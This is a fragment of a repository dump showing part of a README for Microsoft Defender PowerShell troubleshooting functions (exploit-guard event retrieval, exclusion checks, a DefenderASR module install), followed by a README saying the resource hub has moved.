10.0.18363.0 24 | SenseID : 25 | MMAAgentService : not required 26 | SenseConfigVersion : 6999.4507483.4090661.4179641 27 | ``` 28 | 29 | ## Get-DefenderEGEvents 30 | 31 | Get-DefenderEGEvents retrieves Windows Defender Exploit Guard related events from a Windows 10 device 32 | 33 | ## Validate-DefenderExclusion 34 | 35 | Validate-DefenderExclusion checks whether the specified path or file is excluded. 36 | 37 | 38 | ##https://wdtestgroundstorage.blob.core.windows.net/public/validate/validatecloud.exe 39 | 40 | ## Other PowerShell Modules 41 | 42 | DefenderASR 43 | 44 | find-module -name "DefenderASR" | Install-module 45 | 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender Resource Hub 2 | 3 | > Please update your bookmarks 4 | 5 | The content has moved here: [Defender Resource Hub](https://defenderresourcehub.info/) 6 | --------------------------------------------------------------------------------